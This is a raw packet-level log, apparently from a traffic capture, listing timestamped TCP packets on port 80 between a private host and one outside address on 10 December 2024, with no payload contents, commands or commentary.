Dec 10, 2024 03:42:08.536659002 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.537275076 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.537399054 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.537565947 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.538093090 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.538176060 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.538240910 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.538888931 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.539007902 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.539062977 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.539715052 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.539839983 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.539948940 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.540513992 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.540636063 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.541249037 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.541344881 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.541429996 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.541469097 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.542221069 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.542341948 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.542573929 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.542990923 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.543126106 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.543169975 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.543827057 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.543847084 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.543901920 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.544661045 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.544760942 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.545002937 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.545463085 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.545567036 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.545614958 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.546336889 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.546428919 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.546495914 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.547131062 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.547239065 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.547416925 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.547914028 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.548046112 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.548747063 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.548821926 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.548866034 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.549592018 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.549669027 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.549691916 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.549817085 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.550376892 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.550491095 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.551199913 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.551255941 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.551304102 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.552045107 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.552141905 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.552195072 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.552881002 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.553064108 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.553668022 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.553719044 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.553788900 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.554559946 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.554694891 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.554755926 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.555340052 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.555432081 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.555475950 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.556138039 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.556245089 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.556570053 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.556977034 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.557097912 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.557169914 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.557789087 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.557939053 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.557991028 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.558605909 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.558720112 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.558783054 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.559421062 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.559540033 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.559591055 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.560242891 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.560362101 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.560422897 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.561069965 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.561140060 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.561305046 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.561933994 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.562021017 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.562730074 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.562803030 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.562835932 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.563534975 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.563630104 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.563730955 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.563775063 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.564347982 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.564404964 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.564471006 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.565191984 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.565316916 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.565433025 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.565995932 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.566042900 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.566823006 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.566869020 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.566936970 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.567634106 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.567722082 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.567732096 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.567805052 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.568458080 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.568522930 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.568597078 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.569288969 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.569391012 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.569596052 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.570154905 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.570298910 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.570348978 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.570993900 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.571103096 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.571166039 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.571737051 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.571887016 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.572396994 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.572570086 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.572618961 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.572670937 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.573404074 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.573492050 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.573703051 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.574214935 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.574335098 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.575030088 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.575081110 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.575200081 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.575885057 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.576014042 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.576071978 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.576657057 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.576770067 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.576841116 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.577497959 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.577629089 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.577820063 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.578299046 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.622055054 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.727165937 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.727253914 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.727536917 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.727631092 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.727750063 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.727750063 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.728396893 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.728535891 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.729206085 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.729345083 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.729428053 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.729994059 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.730134964 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.730808973 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.730870008 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.730937004 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.731640100 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.731689930 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.731736898 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.732491016 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.732558966 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.732563019 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.733287096 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.733359098 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.733387947 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.733566046 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.734087944 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.734138966 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.734184980 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.734939098 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.735044003 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.735088110 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.735733032 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.735837936 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.735882044 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.736561060 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.736676931 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.736731052 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.737382889 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.737478018 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.737531900 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.738214016 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.738327026 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.738403082 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.739070892 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.739176035 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.739223003 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.739845991 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.739952087 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.739996910 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.740647078 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.740766048 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.740808010 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.741483927 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.741590977 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.741638899 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.742315054 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.742377043 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.742427111 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.743123055 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.743237972 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.743328094 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.743942976 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.744069099 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.744122028 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.744756937 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.744885921 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.744926929 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.745601892 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.745699883 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.745747089 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.746409893 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.746531963 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.746582031 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.747246027 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.747308016 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.747355938 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.748058081 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.748172998 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.748217106 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.748874903 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.748991013 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.749066114 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.749686956 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.749806881 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.749854088 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.750536919 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.750647068 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.750694990 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.751370907 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.751471996 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.751518011 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.752198935 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.752294064 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.752346039 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.753007889 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.753098965 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.753144026 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.753812075 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.753927946 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.753971100 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.754630089 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.754740000 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.754782915 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.755438089 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.755625963 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.755673885 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.756288052 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.756395102 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.756450891 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.757113934 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.757203102 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.757249117 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.757944107 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.758025885 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.758066893 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.758752108 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.758857965 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.758903027 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.759571075 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.759689093 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.759747028 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.760385036 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.760495901 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.760560989 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.761194944 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.761301994 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.761368036 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.762027979 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.762100935 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.762142897 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.762836933 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.762954950 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.763000965 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.763669968 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.763796091 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.763839960 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.764524937 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.764621973 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.764663935 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.765306950 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.765436888 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.765476942 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.766140938 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.766242027 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.766283989 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.766947031 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.767065048 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.767105103 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.767772913 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.767909050 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.767951965 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.768589973 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.768701077 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.768739939 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.769423008 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.769565105 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.769612074 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.770199060 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.825058937 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.919146061 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.919215918 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.919377089 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.919483900 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.919565916 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.919609070 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.920329094 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.920439005 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.920490980 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.921165943 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.921264887 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.921310902 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.921952009 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.922087908 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.922131062 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.922790051 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.922880888 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.922925949 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.923589945 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.923707008 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.923752069 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.924429893 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.924499989 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.924544096 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.925244093 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.925367117 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.925426960 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:08.926074982 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.926189899 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:08.926235914 CET	49820	80	192.168.2.7	185.215.113.16
